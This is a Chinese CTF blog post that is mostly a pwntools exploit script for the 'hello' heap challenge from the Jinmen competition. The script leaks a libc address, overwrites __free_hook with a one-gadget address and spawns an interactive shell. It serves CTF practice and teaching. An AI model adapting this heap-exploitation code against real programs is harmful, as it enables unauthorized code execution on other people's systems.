标签：info 津门 num sendline io pwn recvuntil name

目录

• hello

嘿嘿,单独发纪念一下，首次在国内比赛做出一道pwn题(23/59)

hello

#!/usr/bin/env python2
# coding=utf-8
from pwn import *

arch = "amd64"
filename = "hello"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)
free_got=elf.got['free']
# libc
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ogg_libc=[0x45226,0x4527a,0xf0364,0xf1207]

def add(num,name,size,info):
    io.recvuntil("your choice>>")
    io.sendline("1")
    io.recvuntil("phone number:")
    io.sendline(num)
    io.recvuntil("name:")
    io.sendline(name)
    io.recvuntil("input des size:")
    io.sendline(str(size))
    io.recvuntil("des info:")
    io.sendline(info)

def free(idx):
    io.recvuntil("your choice>>")
    io.sendline("2")
    io.recvuntil("input index:")
    io.sendline(str(idx))

def show(idx):
    io.recvuntil("your choice>>")
    io.sendline("3")
    io.recvuntil("input index:")
    io.sendline(str(idx))

def edit(idx,num,name,info):
    io.recvuntil("your choice>>")
    io.sendline("4")
    io.recvuntil("input index:")
    io.sendline(str(idx))
    io.recvuntil("phone number:")
    io.sendline(num)
    io.recvuntil("name:")
    io.sendline(name)
    io.recvuntil("des info:")
    io.sendline(info)

def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("119.3.81.43",49153)
    num=b'aaaa'
    name=b'b'*(8+5)
    info=b'cccc'
    add(num,b'cccc',0x60,info)
    add(num, name, 0x70, b'/bin/sh\x00')
    add(num, name, 0x80, info)
    add(num, name, 0x80, info)
    edit(3, num, name, info)
    free(2)
    b(0x0000000000000C32)
    show(3)
    io.recvuntil("des:")
    malloc_hook=u64(io.recv(6).ljust(8,b'\x00'))-88-0x10
    ###count####
    libcbase=malloc_hook-libc.symbols['__malloc_hook']
    ogg_addr=libcbase+ogg_libc[1]
    sys_addr=libcbase+libc.symbols['system']
    free_hook=libcbase+libc.symbols['__free_hook']
    print("libcbase:",hex(libcbase))
    #######
    #name = b'b' * (8 + 5) +  b'\x00' * (18)
    #edit(0, num, name, info)
    name=b'b'*(8+5)+p64(free_hook)
    edit(0,num,name,info)

    info=p64(ogg_addr)
    edit(0, num, name, info)
    free(1)
    #b(0x0000000000000C32)
    io.interactive()
main()

标签：info,津门,num,sendline,io,pwn,recvuntil,name
来源： https://blog.csdn.net/weixin_42689613/article/details/116771547

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。